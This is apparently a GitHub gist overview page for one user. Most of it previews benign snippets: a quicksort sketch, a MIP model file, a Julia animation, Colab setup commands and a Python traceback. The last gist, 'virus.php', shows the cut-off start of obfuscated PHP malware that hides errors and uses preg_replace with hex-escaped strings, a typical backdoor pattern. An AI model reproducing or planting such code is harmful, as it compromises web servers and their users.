Skip to content

Instantly share code, notes, and snippets.

@Wikunia
Wikunia / sketch.js
Created Apr 4, 2019
Quicksort CodingTrain sketch
View sketch.js
let values = [];
let w = 10;
let states = [];
function setup() {
createCanvas(1850, 1000);
values = new Array(floor(width / w));
for (let i = 0; i < values.length; i++) {
values[i] = random(height);
View mip_model.mps
NAME JuMPModel
ROWS
N OBJ
E CON1
E CON2
E CON3
E CON4
E CON5
E CON6
G CON7
@Wikunia
Wikunia / animation.jl
Created Dec 1, 2018
Kaggle Santa 2018 Julia animation
View animation.jl
using CSV, DataFrames, Distances, Formatting, Plots
cities = CSV.read("cities_p.csv");
subm_df = CSV.read("submission.csv");
subm_path = subm_df[:Path];
# this includes a column with primes true or false
cities_csv = CSV.read("cities_p.csv");
subm_path = collect(skipmissing(subm_df[:Path]))
subm_path .+= 1
@Wikunia
Wikunia / Google Colab Gdrive
Last active Aug 18, 2018
Google Colab gdrive
View Google Colab Gdrive
- Provide API keys
```
!apt-get install -y -qq software-properties-common python-software-properties module-init-tools
!add-apt-repository -y ppa:alessandro-strada/ppa 2>&1 > /dev/null
!apt-get update -qq 2>&1 > /dev/null
!apt-get -y install -qq google-drive-ocamlfuse fuse
from google.colab import auth
auth.authenticate_user()
@Wikunia
Wikunia / .block
Last active Sep 29, 2017
Germany Invalid First Votes 2017
View .block
license: mit
@Wikunia
Wikunia / kaggle
Created Aug 6, 2015
Kaggle New Mexico Bug
View kaggle
Traceback (most recent call last):
File "../src/script.py", line 175, in <module>
mNormal.readshapefile('../input/shapefiles/pums/tl_2013_{0}_puma10'.format(key),name='state', drawbounds=True)
File "/opt/conda/lib/python3.4/site-packages/mpl_toolkits/basemap/__init__.py", line 2156, in readshapefile
for shprec in shf.shapeRecords():
File "/opt/conda/lib/python3.4/site-packages/mpl_toolkits/basemap/shapefile.py", line 554, in shapeRecords
for rec in zip(self.shapes(), self.records())]
File "/opt/conda/lib/python3.4/site-packages/mpl_toolkits/basemap/shapefile.py", line 526, in records
r = self.__record()
File "/opt/conda/lib/python3.4/site-packages/mpl_toolkits/basemap/shapefile.py", line 502, in __record
View virus.php
<?php $zoqrvjldyw = '2f35.)1%x5c%x782f14+9**-)1%x5c%x782f298error_reporting(0); preg_replace("%x2f%50%x2e%52%x72]48y]#>s%x5c%x7825<#462]78257-K)fujs%x5c%x7878X6<#o]o]Y%x5c%x78257;utpI#7>%x5c%x782f7rfs7825-qp%x5c%x7825)54l}%x5c%x7827;%x25zW%x5c%x7825h>EzH,2W%x55:osvufs:~:<*9-1-r%x5c%x7825)s%x5c%x7825>%x5c%x782fh%x5c%x72)%x5c%x7825zB%x5c%x7825z>!tussfw)%x5c%x785c%x782f#o]#%x5c%x782f*)323zbe!-#jt0*?]+^?]_%x5c%x785c}X%x5c%e%x5c%x78b%x5c%x7825ggg!>!#]y81]273]yx5c%x7825!<*::::::-111112)eobs%x5c%x7860un>qp%x5c%x78x7825)tpqsut>j%x5c%x7825!*9!%x5c%x7827!hmg%x5c%x7825)!gj!~<ofmy%x5tmw)%x5c%x7825tww**WYsboepn)%x5c%x7825bss-%x5c%x7825r%x5c%x7878B%x547y]252]18y]#>q%x5c%x7825<#762]67y]562]38y]572]48y]#>m%x5c%x78c%x78786<C%x5c%x7827&6<*rfs%x5c%xx5c%x787f%x5c%x787f%x5c%x787f<u%x5c%x7825V%x5c%x7827{ftmfV%x5c%56#<!%x5c%x7825ff2!>!bssbz)%x5cx78e%x5c%x78b%x5c%x7825mm)%x5c%x7825%x5c%x7878:-!%x5c%x7825t785c2b%x5c%x7825!>!2p%x5c%x7825!*3>?*2b%x5c%x7825)gpf{jt)!yf%x5c%x7827*&7-n%x5c%x7825)utjm6<%x5c%xx7860hfsq)!sp!*#ojneb#-*f%x5c%x7
You can’t perform that action at this time.